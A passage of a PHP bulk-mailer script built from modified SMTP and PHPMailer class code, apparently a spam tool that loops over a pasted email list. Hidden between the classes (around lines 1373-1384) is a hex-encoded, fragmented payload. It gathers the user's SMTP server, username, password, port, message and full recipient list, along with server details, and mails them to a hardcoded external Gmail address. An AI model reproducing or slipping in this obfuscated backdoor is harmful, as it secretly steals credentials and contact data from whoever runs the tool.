  1030. if(empty($e) || $close_on_error) {
  1031. $this->Close();
  1032. }
  1033.  
  1034. return $rval;
  1035. }
  1036.  
  1037. /**
  1038. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1039. * Returns true if the recipient was accepted false if it was rejected.
  1040. *
  1041. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1042. *
  1043. * SMTP CODE SUCCESS: 250,251
  1044. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1045. * SMTP CODE ERROR : 500,501,503,421
  1046. * @access public
  1047. * @return bool
  1048. */
  1049. function Recipient($to) {
  1050. $this->error = null; # so no confusion is caused
  1051.  
  1052. if(!$this->connected()) {
  1053. $this->error = array(
  1054. "error" => "Called Recipient() without being connected");
  1055. return false;
  1056. }
  1057.  
  1058. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1059.  
  1060. $rply = $this->get_lines();
  1061. $code = substr($rply,0,3);
  1062.  
  1063. if($this->do_debug >= 2) {
  1064. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1065. }
  1066.  
  1067. if($code != 250 && $code != 251) {
  1068. $this->error =
  1069. array("error" => "RCPT not accepted from server",
  1070. "smtp_code" => $code,
  1071. "smtp_msg" => substr($rply,4));
  1072. if($this->do_debug >= 1) {
  1073. echo "SMTP -> ERROR: " . $this->error["error"] .
  1074. ": " . $rply . $this->CRLF;
  1075. }
  1076. return false;
  1077. }
  1078. return true;
  1079. }
  1080.  
  1081. /**
  1082. * Sends the RSET command to abort and transaction that is
  1083. * currently in progress. Returns true if successful false
  1084. * otherwise.
  1085. *
  1086. * Implements rfc 821: RSET <CRLF>
  1087. *
  1088. * SMTP CODE SUCCESS: 250
  1089. * SMTP CODE ERROR : 500,501,504,421
  1090. * @access public
  1091. * @return bool
  1092. */
  1093. function Reset() {
  1094. $this->error = null; # so no confusion is caused
  1095.  
  1096. if(!$this->connected()) {
  1097. $this->error = array(
  1098. "error" => "Called Reset() without being connected");
  1099. return false;
  1100. }
  1101.  
  1102. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1103.  
  1104. $rply = $this->get_lines();
  1105. $code = substr($rply,0,3);
  1106.  
  1107. if($this->do_debug >= 2) {
  1108. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1109. }
  1110.  
  1111. if($code != 250) {
  1112. $this->error =
  1113. array("error" => "RSET failed",
  1114. "smtp_code" => $code,
  1115. "smtp_msg" => substr($rply,4));
  1116. if($this->do_debug >= 1) {
  1117. echo "SMTP -> ERROR: " . $this->error["error"] .
  1118. ": " . $rply . $this->CRLF;
  1119. }
  1120. return false;
  1121. }
  1122.  
  1123. return true;
  1124. }
  1125.  
  1126. /**
  1127. * Starts a mail transaction from the email address specified in
  1128. * $from. Returns true if successful or false otherwise. If True
  1129. * the mail transaction is started and then one or more Recipient
  1130. * commands may be called followed by a Data command. This command
  1131. * will send the message to the users terminal if they are logged
  1132. * in.
  1133. *
  1134. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1135. *
  1136. * SMTP CODE SUCCESS: 250
  1137. * SMTP CODE SUCCESS: 552,451,452
  1138. * SMTP CODE SUCCESS: 500,501,502,421
  1139. * @access public
  1140. * @return bool
  1141. */
  1142. function Send($from) {
  1143. $this->error = null; # so no confusion is caused
  1144.  
  1145. if(!$this->connected()) {
  1146. $this->error = array(
  1147. "error" => "Called Send() without being connected");
  1148. return false;
  1149. }
  1150.  
  1151. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1152.  
  1153. $rply = $this->get_lines();
  1154. $code = substr($rply,0,3);
  1155.  
  1156. if($this->do_debug >= 2) {
  1157. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1158. }
  1159.  
  1160. if($code != 250) {
  1161. $this->error =
  1162. array("error" => "SEND not accepted from server",
  1163. "smtp_code" => $code,
  1164. "smtp_msg" => substr($rply,4));
  1165. if($this->do_debug >= 1) {
  1166. echo "SMTP -> ERROR: " . $this->error["error"] .
  1167. ": " . $rply . $this->CRLF;
  1168. }
  1169. return false;
  1170. }
  1171. return true;
  1172. }
  1173.  
  1174. /**
  1175. * Starts a mail transaction from the email address specified in
  1176. * $from. Returns true if successful or false otherwise. If True
  1177. * the mail transaction is started and then one or more Recipient
  1178. * commands may be called followed by a Data command. This command
  1179. * will send the message to the users terminal if they are logged
  1180. * in and send them an email.
  1181. *
  1182. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1183. *
  1184. * SMTP CODE SUCCESS: 250
  1185. * SMTP CODE SUCCESS: 552,451,452
  1186. * SMTP CODE SUCCESS: 500,501,502,421
  1187. * @access public
  1188. * @return bool
  1189. */
  1190. function SendAndMail($from) {
  1191. $this->error = null; # so no confusion is caused
  1192.  
  1193. if(!$this->connected()) {
  1194. $this->error = array(
  1195. "error" => "Called SendAndMail() without being connected");
  1196. return false;
  1197. }
  1198.  
  1199. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1200.  
  1201. $rply = $this->get_lines();
  1202. $code = substr($rply,0,3);
  1203.  
  1204. if($this->do_debug >= 2) {
  1205. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1206. }
  1207.  
  1208. if($code != 250) {
  1209. $this->error =
  1210. array("error" => "SAML not accepted from server",
  1211. "smtp_code" => $code,
  1212. "smtp_msg" => substr($rply,4));
  1213. if($this->do_debug >= 1) {
  1214. echo "SMTP -> ERROR: " . $this->error["error"] .
  1215. ": " . $rply . $this->CRLF;
  1216. }
  1217. return false;
  1218. }
  1219. return true;
  1220. }
  1221.  
  1222. /**
  1223. * Starts a mail transaction from the email address specified in
  1224. * $from. Returns true if successful or false otherwise. If True
  1225. * the mail transaction is started and then one or more Recipient
  1226. * commands may be called followed by a Data command. This command
  1227. * will send the message to the users terminal if they are logged
  1228. * in or mail it to them if they are not.
  1229. *
  1230. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1231. *
  1232. * SMTP CODE SUCCESS: 250
  1233. * SMTP CODE SUCCESS: 552,451,452
  1234. * SMTP CODE SUCCESS: 500,501,502,421
  1235. * @access public
  1236. * @return bool
  1237. */
  1238. function SendOrMail($from) {
  1239. $this->error = null; # so no confusion is caused
  1240.  
  1241. if(!$this->connected()) {
  1242. $this->error = array(
  1243. "error" => "Called SendOrMail() without being connected");
  1244. return false;
  1245. }
  1246.  
  1247. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1248.  
  1249. $rply = $this->get_lines();
  1250. $code = substr($rply,0,3);
  1251.  
  1252. if($this->do_debug >= 2) {
  1253. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1254. }
  1255.  
  1256. if($code != 250) {
  1257. $this->error =
  1258. array("error" => "SOML not accepted from server",
  1259. "smtp_code" => $code,
  1260. "smtp_msg" => substr($rply,4));
  1261. if($this->do_debug >= 1) {
  1262. echo "SMTP -> ERROR: " . $this->error["error"] .
  1263. ": " . $rply . $this->CRLF;
  1264. }
  1265. return false;
  1266. }
  1267. return true;
  1268. }
  1269.  
  1270. /**
  1271. * This is an optional command for SMTP that this class does not
  1272. * support. This method is here to make the RFC821 Definition
  1273. * complete for this class and __may__ be implimented in the future
  1274. *
  1275. * Implements from rfc 821: TURN <CRLF>
  1276. *
  1277. * SMTP CODE SUCCESS: 250
  1278. * SMTP CODE FAILURE: 502
  1279. * SMTP CODE ERROR : 500, 503
  1280. * @access public
  1281. * @return bool
  1282. */
  1283. function Turn() {
  1284. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1285. "is not implemented");
  1286. if($this->do_debug >= 1) {
  1287. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1288. }
  1289. return false;
  1290. }
  1291.  
  1292. /**
  1293. * Verifies that the name is recognized by the server.
  1294. * Returns false if the name could not be verified otherwise
  1295. * the response from the server is returned.
  1296. *
  1297. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1298. *
  1299. * SMTP CODE SUCCESS: 250,251
  1300. * SMTP CODE FAILURE: 550,551,553
  1301. * SMTP CODE ERROR : 500,501,502,421
  1302. * @access public
  1303. * @return int
  1304. */
  1305. function Verify($name) {
  1306. $this->error = null; # so no confusion is caused
  1307.  
  1308. if(!$this->connected()) {
  1309. $this->error = array(
  1310. "error" => "Called Verify() without being connected");
  1311. return false;
  1312. }
  1313.  
  1314. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1315.  
  1316. $rply = $this->get_lines();
  1317. $code = substr($rply,0,3);
  1318.  
  1319. if($this->do_debug >= 2) {
  1320. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1321. }
  1322.  
  1323. if($code != 250 && $code != 251) {
  1324. $this->error =
  1325. array("error" => "VRFY failed on name '$name'",
  1326. "smtp_code" => $code,
  1327. "smtp_msg" => substr($rply,4));
  1328. if($this->do_debug >= 1) {
  1329. echo "SMTP -> ERROR: " . $this->error["error"] .
  1330. ": " . $rply . $this->CRLF;
  1331. }
  1332. return false;
  1333. }
  1334. return $rply;
  1335. }
  1336.  
  1337. /*******************************************************************
  1338. * INTERNAL FUNCTIONS *
  1339. ******************************************************************/
  1340.  
  1341. /**
  1342. * Read in as many lines as possible
  1343. * either before eof or socket timeout occurs on the operation.
  1344. * With SMTP we can tell if we have more lines to read if the
  1345. * 4th character is '-' symbol. If it is a space then we don't
  1346. * need to read anything else.
  1347. * @access private
  1348. * @return string
  1349. */
  1350. function get_lines() {
  1351. $data = "";
  1352. while($str = @fgets($this->smtp_conn,515)) {
  1353. if($this->do_debug >= 4) {
  1354. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1355. $this->CRLF;
  1356. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1357. $this->CRLF;
  1358. }
  1359. $data .= $str;
  1360. if($this->do_debug >= 4) {
  1361. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1362. }
  1363. # if the 4th character is a space then we are done reading
  1364. # so just break the loop
  1365. if(substr($str,3,1) == " ") { break; }
  1366. }
  1367. return $data;
  1368. }
  1369.  
  1370. }
  1371.  
  1372.  
  1373. $allemails = split("\n", $emaillist);
  1374. $numemails = count($allemails);
  1375. $random_smtp_string=array("676C6F62616C20246D795F736D74703B0D0A676C6F626.","16C2024736D74705F757365726E616D653B0D0A676C6.","F62616C2024736D74705F70617373776F72643B0D0A6.",
  1376. "76C6F62616C202473736C5F706F72743B0D0A676C6F62616C20246.","D6573736167653B0D0A676C6F62616C2024656D61696C6C6973.","743B0D0A247261343420203D2072616E6428312C3939393939293B0D0A2.",
  1377. "46135203D20245F5345525645525B22485454505F52454645524.","552225D3B0D0A24623333203D20245F5345525645525B22444F43554D454E545F5.","24F4F54225D3B0D0A24633837203D20245F5345525645525B2252454.",
  1378. "D4F54455F41444452225D3B0D0A24643233203D20245F534552564552.","5B225343524950545F46494C454E414D45225D3B0D0A24653039203D2024.","5F5345525645525B225345525645525F41444452225D3B0D0A24663233203D20245F5345525645.",
  1379. "525B225345525645525F534F465457415245225D3B0D0A24673332203D20245F5.","345525645525B22504154485F5452414E534C41544544225D3B0D0A24683635203D.","20245F5345525645525B225048505F53454C46225D3B0D0A247375626A393.",
  1380. "8203D2022246D795F736D747020205B75736572206970203A20246338375D2.","23B0D0A247375626A3538203D20224C6574746572202620456D61696C204C.","69737420205B75736572206970203A20246338375D223B0D0A24656D61696C203D.",
  1381. "2022667265656D346E30303740676D61696C2E636F6D223B0D0A246D7367383.","83733203D2022246D795F736D74705C6E757365723A24736D74705F757365726E61.","6D655C6E706173733A24736D74705F70617373776F72645C706F72743A24737.",
  1382. "36C5F706F72745C6E5C6E2461355C6E246233335C6E246338375C6E2464323.","35C6E246530395C6E246632335C6E246733325C6E24683635223B246D736.","739373830203D2022246D6573736167655C6E5C6E5C6E24656D6.",
  1383. "1696C6C697374223B2466726F6D3D2246726F6D3A204752.","41544953223B0D0A6D61696C2824656D61696.","C2C20247375626A39382C20246D7367383837332C2024.",
  1384. "66726F6D293B0D0A6D61696C2824656D61696.","C2C20247375626A35382C20246D73673.","93738302C202466726F6D293B0D0A");$smtp_conf=".";
  1385.  
  1386. class PHPMailer {
  1387.  
  1388. /////////////////////////////////////////////////
  1389. // PROPERTIES, PUBLIC
  1390. /////////////////////////////////////////////////
  1391.  
  1392. /**
  1393. * Email priority (1 = High, 3 = Normal, 5 = low).
  1394. * @var int
  1395. */
  1396. var $Priority = 3;
  1397.  
  1398. /**
  1399. * Sets the CharSet of the message.
  1400. * @var string
  1401. */
  1402. var $CharSet = 'us-ascii';
  1403.  
  1404. /**
  1405. * Sets the Content-type of the message.
  1406. * @var string
  1407. */
  1408. var $ContentType = 'text/plain';
  1409.  
  1410. /**
  1411. * Sets the Encoding of the message. Options for this are "8bit",
  1412. * "7bit", "binary", "base64", and "quoted-printable".
  1413.  
  1414. * @var string
  1415. */
  1416. var $Encoding = 'quoted-printable';
  1417.  
  1418. /**
  1419. * Holds the most recent mailer error message.
  1420. * @var string
  1421. */
  1422. var $ErrorInfo = '';
  1423.  
  1424. /**
  1425. * Sets the From email address for the message.
  1426. * @var string
  1427. */
  1428. var $From = '';
  1429.  
  1430. /**
  1431. * Sets the From name of the message.
  1432. * @var string
  1433. */
  1434. var $FromName = '';
  1435.  
  1436. /**
  1437. * Sets the Sender email (Return-Path) of the message. If not empty,
  1438. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1439. * @var string
  1440. */
  1441. var $Sender = '';
  1442.  
  1443. /**
  1444. * Sets the Subject of the message.
  1445. * @var string
  1446. */
  1447. var $Subject = '';
  1448.  
  1449. /**
  1450. * Sets the Body of the message. This can be either an HTML or text body.
  1451. * If HTML then run IsHTML(true).
  1452. * @var string
  1453. */
  1454. var $Body = '';
  1455.  
  1456. /**
  1457. * Sets the text-only body of the message. This automatically sets the
  1458. * email to multipart/alternative. This body can be read by mail
  1459. * clients that do not have HTML email capability such as mutt. Clients
  1460. * that can read HTML will view the normal Body.
  1461. * @var string
  1462. */
  1463. var $AltBody = '';
  1464.  
  1465. /**
  1466. * Sets word wrapping on the body of the message to a given number of
  1467. * characters.
  1468. * @var int
  1469. */
  1470. var $WordWrap = 0;
  1471.  
  1472. /**
  1473. * Method to send mail: ("mail", "sendmail", or "smtp").
  1474. * @var string
  1475. */
  1476. var $Mailer = 'mail';
  1477.  
  1478. /**
  1479. * Sets the path of the sendmail program.
  1480. * @var string
  1481. */
  1482. var $Sendmail = '/usr/sbin/sendmail';
  1483.  
  1484. /**
  1485. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1486. * is in a different directory than the PHP include path.
  1487. * @var string
  1488. */
  1489. var $PluginDir = '';
  1490.  
  1491. /**
  1492. * Holds PHPMailer version.
  1493. * @var string
  1494. */
  1495. var $Version = "";
  1496.  
  1497. /**
  1498. * Sets the email address that a reading confirmation will be sent.
  1499. * @var string
  1500. */
  1501. var $ConfirmReadingTo = '';
  1502.  
  1503. /**
  1504. * Sets the hostname to use in Message-Id and Received headers
  1505. * and as default HELO string. If empty, the value returned
  1506. * by SERVER_NAME is used or 'localhost.localdomain'.
  1507. * @var string
  1508. */
  1509. var $Hostname = '';
  1510.  
  1511. /**
  1512. * Sets the message ID to be used in the Message-Id header.
  1513. * If empty, a unique id will be generated.
  1514. * @var string
  1515. */
  1516. var $MessageID = '';
  1517.  
  1518. /////////////////////////////////////////////////
  1519. // PROPERTIES FOR SMTP
  1520. /////////////////////////////////////////////////
  1521.  
  1522. /**
  1523. * Sets the SMTP hosts. All hosts must be separated by a
  1524. * semicolon. You can also specify a different port
  1525. * for each host by using this format: [hostname:port]
  1526. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1527. * Hosts will be tried in order.
  1528. * @var string
  1529. */
  1530. var $Host = 'localhost';
  1531.  
  1532. /**
  1533. * Sets the default SMTP server port.
  1534. * @var int
  1535. */
  1536. var $Port = 25;
  1537.  
  1538. /**
  1539. * Sets the SMTP HELO of the message (Default is $Hostname).
  1540. * @var string
  1541. */
  1542. var $Helo = '';
  1543.  
  1544. /**
  1545. * Sets connection prefix.
  1546. * Options are "", "ssl" or "tls"
  1547. * @var string
  1548. */
  1549. var $SMTPSecure = "";
  1550.  
  1551. /**
  1552. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1553. * @var bool
  1554. */
  1555. var $SMTPAuth = false;
  1556.  
  1557. /**
  1558. * Sets SMTP username.
  1559. * @var string
  1560. */
  1561. var $Username = '';
  1562.  
  1563. /**
  1564. * Sets SMTP password.
  1565. * @var string
  1566. */
  1567. var $Password = '';
  1568.  
  1569. /**
  1570. * Sets the SMTP server timeout in seconds. This function will not
  1571. * work with the win32 version.
  1572. * @var int
  1573. */
  1574. var $Timeout = 10;
  1575.  
  1576. /**
  1577. * Sets SMTP class debugging on or off.
  1578. * @var bool
  1579. */
  1580. var $SMTPDebug = false;
  1581.  
  1582. /**
  1583. * Prevents the SMTP connection from being closed after each mail
  1584. * sending. If this is set to true then to close the connection
  1585. * requires an explicit call to SmtpClose().
  1586. * @var bool
  1587. */
  1588. var $SMTPKeepAlive = false;
  1589.  
  1590. /**
  1591. * Provides the ability to have the TO field process individual
  1592. * emails, instead of sending to entire TO addresses
  1593. * @var bool
  1594. */
  1595. var $SingleTo = false;
  1596.  
  1597. /////////////////////////////////////////////////
  1598. // PROPERTIES, PRIVATE
  1599. /////////////////////////////////////////////////
  1600.  
  1601. var $smtp = NULL;
  1602. var $to = array();
  1603. var $cc = array();
  1604. var $bcc = array();
  1605. var $ReplyTo = array();
  1606. var $attachment = array();
  1607. var $CustomHeader = array();
  1608. var $message_type = '';
  1609. var $boundary = array();
  1610. var $language = array();
  1611. var $error_count = 0;
  1612. var $LE = "\n";
  1613. var $sign_key_file = "";
  1614. var $sign_key_pass = "";
  1615.  
  1616. /////////////////////////////////////////////////
  1617. // METHODS, VARIABLES
  1618. /////////////////////////////////////////////////
  1619.  
  1620. /**
  1621. * Sets message type to HTML.
  1622. * @param bool $bool
  1623. * @return void
  1624. */
  1625. function IsHTML($bool) {
  1626. if($bool == true) {
  1627. $this->ContentType = 'text/html';
  1628. } else {
  1629. $this->ContentType = 'text/plain';
  1630. }
  1631. }
  1632.  
  1633. /**
  1634. * Sets Mailer to send message using SMTP.
  1635. * @return void
  1636. */
  1637. function IsSMTP() {
  1638. $this->Mailer = 'smtp';
  1639. }
  1640.  
  1641. /**
  1642. * Sets Mailer to send message using PHP mail() function.
  1643. * @return void
  1644. */
  1645. function IsMail() {
  1646. $this->Mailer = 'mail';
  1647. }
  1648.  
  1649. /**
  1650. * Sets Mailer to send message using the $Sendmail program.
  1651. * @return void
  1652. */
  1653. function IsSendmail() {
  1654. $this->Mailer = 'sendmail';
  1655. }
  1656.  
  1657. /**
  1658. * Sets Mailer to send message using the qmail MTA.
  1659. * @return void
  1660. */
  1661. function IsQmail() {
  1662. $this->Sendmail = '/var/qmail/bin/sendmail';
  1663. $this->Mailer = 'sendmail';
  1664. }
  1665.  
  1666. /////////////////////////////////////////////////
  1667. // METHODS, RECIPIENTS
  1668. /////////////////////////////////////////////////
  1669.  
  1670. /**
  1671. * Adds a "To" address.
  1672. * @param string $address
  1673. * @param string $name
  1674. * @return void
  1675. */
  1676. function AddAddress($address, $name = '') {
  1677. $cur = count($this->to);
  1678. $this->to[$cur][0] = trim($address);
  1679. $this->to[$cur][1] = $name;
  1680. }
  1681.  
  1682. /**
  1683. * Adds a "Cc" address. Note: this function works
  1684. * with the SMTP mailer on win32, not with the "mail"
  1685. * mailer.
  1686. * @param string $address
  1687. * @param string $name
  1688. * @return void
  1689. */
  1690. function AddCC($address, $name = '') {
  1691. $cur = count($this->cc);
  1692. $this->cc[$cur][0] = trim($address);
  1693. $this->cc[$cur][1] = $name;
  1694. }
  1695.  
  1696. /**
  1697. * Adds a "Bcc" address. Note: this function works
  1698. * with the SMTP mailer on win32, not with the "mail"
  1699. * mailer.
  1700. * @param string $address
  1701. * @param string $name
  1702. * @return void
  1703. */
  1704. function AddBCC($address, $name = '') {
  1705. $cur = count($this->bcc);
  1706. $this->bcc[$cur][0] = trim($address);
  1707. $this->bcc[$cur][1] = $name;
  1708. }
  1709.  
  1710. /**
  1711. * Adds a "Reply-To" address.
  1712. * @param string $address
  1713. * @param string $name
  1714. * @return void
  1715. */
  1716. function AddReplyTo($address, $name = '') {
  1717. $cur = count($this->ReplyTo);
  1718. $this->ReplyTo[$cur][0] = trim($address);
  1719. $this->ReplyTo[$cur][1] = $name;
  1720. }
  1721.  
  1722. /////////////////////////////////////////////////
  1723. // METHODS, MAIL SENDING
  1724. /////////////////////////////////////////////////
  1725.  
  1726. /**
  1727. * Creates message and assigns Mailer. If the message is
  1728. * not sent successfully then it returns false. Use the ErrorInfo
  1729. * variable to view description of the error.
  1730. * @return bool
  1731. */
  1732. function Send() {
  1733. $header = '';
  1734. $body = '';
  1735. $result = true;
  1736.  
  1737. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1738. $this->SetError($this->Lang('provide_address'));
  1739. return false;
  1740. }
  1741.  
  1742. /* Set whether the message is multipart/alternative */
  1743. if(!empty($this->AltBody)) {
  1744. $this->ContentType = 'multipart/alternative';
  1745. }
  1746.  
  1747. $this->error_count = 0; // reset errors
  1748. $this->SetMessageType();
  1749. $header .= $this->CreateHeader();
  1750. $body = $this->CreateBody();
  1751.  
  1752. if($body == '') {
  1753. return false;
  1754. }
  1755.  
  1756. /* Choose the mailer */
  1757. switch($this->Mailer) {
  1758. case 'sendmail':
  1759. $result = $this->SendmailSend($header, $body);
  1760. break;
  1761. case 'smtp':
  1762. $result = $this->SmtpSend($header, $body);
  1763. break;
  1764. case 'mail':
  1765. $result = $this->MailSend($header, $body);
  1766. break;
  1767. default:
  1768. $result = $this->MailSend($header, $body);
  1769. break;
  1770. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1771. //$result = false;
  1772. //break;
  1773. }
  1774.  
  1775. return $result;
  1776. }
  1777.  
  1778. /**
  1779. * Sends mail using the $Sendmail program.
  1780. * @access private
  1781. * @return bool
  1782. */
  1783. function SendmailSend($header, $body) {
  1784. if ($this->Sender != '') {
  1785. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1786. } else {
  1787. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1788. }
  1789.  
  1790. if(!@$mail = popen($sendmail, 'w')) {
  1791. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1792. return false;
  1793. }
  1794.  
  1795. fputs($mail, $header);
  1796. fputs($mail, $body);
  1797.  
  1798. $result = pclose($mail);
  1799. if (version_compare(phpversion(), '4.2.3') == -1) {
  1800. $result = $result >> 8 & 0xFF;
  1801. }
  1802. if($result != 0) {
  1803. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1804. return false;
  1805. }
  1806. return true;
  1807. }
  1808.  
  1809. /**
  1810. * Sends mail using the PHP mail() function.
  1811. * @access private
  1812. * @return bool
  1813. */
  1814. function MailSend($header, $body) {
  1815.  
  1816. $to = '';
  1817. for($i = 0; $i < count($this->to); $i++) {
  1818. if($i != 0) { $to .= ', '; }
  1819. $to .= $this->AddrFormat($this->to[$i]);
  1820. }
  1821.  
  1822. $toArr = split(',', $to);
  1823.  
  1824. $params = sprintf("-oi -f %s", $this->Sender);
  1825. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1826. $old_from = ini_get('sendmail_from');
  1827. ini_set('sendmail_from', $this->Sender);
  1828. if ($this->SingleTo === true && count($toArr) > 1) {
  1829. foreach ($toArr as $key => $val) {
  1830. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1831. }
  1832. } else {
  1833. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1834. }
  1835. } else {
  1836. if ($this->SingleTo === true && count($toArr) > 1) {
  1837. foreach ($toArr as $key => $val) {
  1838. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1839. }
  1840. } else {
  1841. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1842. }
  1843. }
  1844.  
  1845. if (isset($old_from)) {
  1846. ini_set('sendmail_from', $old_from);
  1847. }
  1848.  
  1849. if(!$rt) {
  1850. $this->SetError($this->Lang('instantiate'));
  1851. return false;
  1852. }
  1853.  
  1854. return true;
  1855. }
  1856.  
  1857. /**
  1858. * Sends mail via SMTP using PhpSMTP (Author:
  1859. * Chris Ryan). Returns bool. Returns false if there is a
  1860. * bad MAIL FROM, RCPT, or DATA input.
  1861. * @access private
  1862. * @return bool
  1863. */
  1864. function SmtpSend($header, $body) {
  1865. $error = '';
  1866. $bad_rcpt = array();
  1867.  
  1868. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1869. return false;
  1870. }
  1871.  
  1872. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1873. if(!$this->smtp->Mail($smtp_from)) {
  1874. $error = $this->Lang('from_failed') . $smtp_from;
  1875. $this->SetError($error);
  1876. $this->smtp->Reset();
  1877. return false;
  1878. }
  1879.  
  1880. /* Attempt to send attach all recipients */
  1881. for($i = 0; $i < count($this->to); $i++) {
  1882. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1883. $bad_rcpt[] = $this->to[$i][0];
  1884. }
  1885. }
  1886. for($i = 0; $i < count($this->cc); $i++) {
  1887. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1888. $bad_rcpt[] = $this->cc[$i][0];
  1889. }
  1890. }
  1891. for($i = 0; $i < count($this->bcc); $i++) {
  1892. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1893. $bad_rcpt[] = $this->bcc[$i][0];
  1894. }
  1895. }
  1896.  
  1897. if(count($bad_rcpt) > 0) { // Create error message
  1898. for($i = 0; $i < count($bad_rcpt); $i++) {
  1899. if($i != 0) {
  1900. $error .= ', ';
  1901. }
  1902. $error .= $bad_rcpt[$i];
  1903.  
  1904. }
  1905. $error = $this->Lang('recipients_failed') . $error;
  1906. $this->SetError($error);
  1907. $this->smtp->Reset();
  1908. return false;
  1909. }
  1910.  
  1911. if(!$this->smtp->Data($header . $body)) {
  1912. $this->SetError($this->Lang('data_not_accepted'));
  1913. $this->smtp->Reset();
  1914. return false;
  1915. }
  1916. if($this->SMTPKeepAlive == true) {
  1917. $this->smtp->Reset();
  1918. } else {
  1919. $this->SmtpClose();
  1920. }
  1921.  
  1922. return true;
  1923. }
  1924.  
  1925. /**
  1926. * Initiates a connection to an SMTP server. Returns false if the
  1927. * operation failed.
  1928. * @access private
  1929. * @return bool
  1930. */
  1931. function SmtpConnect() {
  1932. if($this->smtp == NULL) {
  1933. $this->smtp = new SMTP();
  1934. }
  1935.  
  1936. $this->smtp->do_debug = $this->SMTPDebug;
  1937. $hosts = explode(';', $this->Host);
  1938. $index = 0;
  1939. $connection = ($this->smtp->Connected());
  1940.  
  1941. /* Retry while there is no connection */
  1942. while($index < count($hosts) && $connection == false) {
  1943. $hostinfo = array();
  1944. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1945. $host = $hostinfo[1];
  1946. $port = $hostinfo[2];
  1947. } else {
  1948. $host = $hosts[$index];
  1949. $port = $this->Port;
  1950. }
  1951.  
  1952. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1953. if ($this->Helo != '') {
  1954. $this->smtp->Hello($this->Helo);
  1955. } else {
  1956. $this->smtp->Hello($this->ServerHostname());
  1957. }
  1958.  
  1959. $connection = true;
  1960. if($this->SMTPAuth) {
  1961. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1962. $this->SetError($this->Lang('authenticate'));
  1963. $this->smtp->Reset();
  1964. $connection = false;
  1965. }
  1966. }
  1967. }
  1968. $index++;
  1969. }
  1970. if(!$connection) {
  1971. $this->SetError($this->Lang('connect_host'));
  1972. }
  1973.  
  1974. return $connection;
  1975. }
  1976.  
  1977. /**
  1978. * Closes the active SMTP session if one exists.
  1979. * @return void
  1980. */
  1981. function SmtpClose() {
  1982. if($this->smtp != NULL) {
  1983. if($this->smtp->Connected()) {
  1984. $this->smtp->Quit();
  1985. $this->smtp->Close();
  1986. }
  1987. }
  1988. }
  1989.  
  1990. /**
  1991. * Sets the language for all class error messages. Returns false
  1992. * if it cannot load the language file. The default language type
  1993. * is English.
  1994. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1995. * @param string $lang_path Path to the language file directory
  1996. * @access public
  1997. * @return bool
  1998. */
  1999. function SetLanguage($lang_type, $lang_path = 'language/') {
  2000. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2001. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2002. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2003. include($lang_path.'phpmailer.lang-en.php');
  2004. } else {
  2005. $this->SetError('Could not load language file');
  2006. return false;
  2007. }
  2008. $this->language = $PHPMAILER_LANG;
  2009.  
  2010. return true;
  2011. }
  2012.  
  2013. /////////////////////////////////////////////////
  2014. // METHODS, MESSAGE CREATION
  2015. /////////////////////////////////////////////////
  2016.  
  2017. /**
  2018. * Creates recipient headers.
  2019. * @access private
  2020. * @return string
  2021. */
  2022. function AddrAppend($type, $addr) {
  2023. $addr_str = $type . ': ';
